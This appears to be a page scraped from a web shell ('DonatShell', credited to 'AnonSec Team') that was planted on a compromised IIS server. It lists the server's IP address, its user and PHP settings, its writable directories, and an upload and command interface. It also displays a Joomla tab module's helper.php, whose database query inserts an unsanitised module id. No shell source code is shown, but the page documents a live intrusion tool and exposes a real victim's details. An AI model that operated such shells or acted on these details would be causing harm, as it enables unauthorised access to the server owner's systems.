DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/app/webroot/news/modules/mod_sptab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/app/webroot/news/modules/mod_sptab//helper.php
<?php
/*---------------------------------------------------------------
# SP Tab - Next generation tab module for joomla
# ---------------------------------------------------------------
# Author - JoomShaper http://www.joomshaper.com
# Copyright (C) 2010 - 2011 JoomShaper.com. All Rights Reserved.
# license - PHP files are licensed under  GNU/GPL V2
# license - CSS  - JS - IMAGE files  are Copyrighted material 
# Websites: http://www.joomshaper.com - http://www.joomxpert.com
-----------------------------------------------------------------*/
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

abstract class modspTabHelper {

    static function getTabs(&$params) {
		$mods						= $params->get('mods');
		$ordering					= $params->get('ordering');
		$ordering_direction			= $params->get('ordering_direction','ASC');		
		$images						= $params->get('images');
		$options 					= array('style' => 'none');
		
		$items = array();

		for ($i=0;$i<count($mods);$i++) {
			if ($ordering == 'ordering')
				$items[$i]->order 		= modspTabHelper::getModule($mods[$i])->ordering;
			$items[$i]->title 		= modspTabHelper::getModule($mods[$i])->title;
			$items[$i]->content 	= JModuleHelper::renderModule(  modspTabHelper::getModule($mods[$i]), $options);
		}
	
		($ordering_direction=='ASC') ? asort ($items) : arsort ($items);//sorting
		
		return $items;
		
	}

	//load module by id
	function getModule( $id ){

		global $mainframe;
		$_db		=& JFactory::getDBO();		
		$_where = ' AND ( m.id='.$id.' ) ';

		$_query = 'SELECT *'.
			' FROM #__modules AS m'.
			' WHERE m.client_id = '.(int) $mainframe->getClientId().
			$_where.
			' ORDER BY ordering'.
			' LIMIT 1';

		$_db->setQuery( $_query );
		$module = $_db->loadObject();
						
		if (!$module) return null;
		
		$file				= $module->module;
		$custom				= substr($file, 0, 4) == 'mod_' ?  0 : 1;
		$module->user		= $custom;
		$module->name		= $custom ? $module->title : substr($file, 4);
		$module->style		= null;
		$module->position	= strtolower($module->position);
		$clean[$module->id]	= $module;		
		
		return $module;	
	}	
}

Anon7 - 2022
AnonSec Team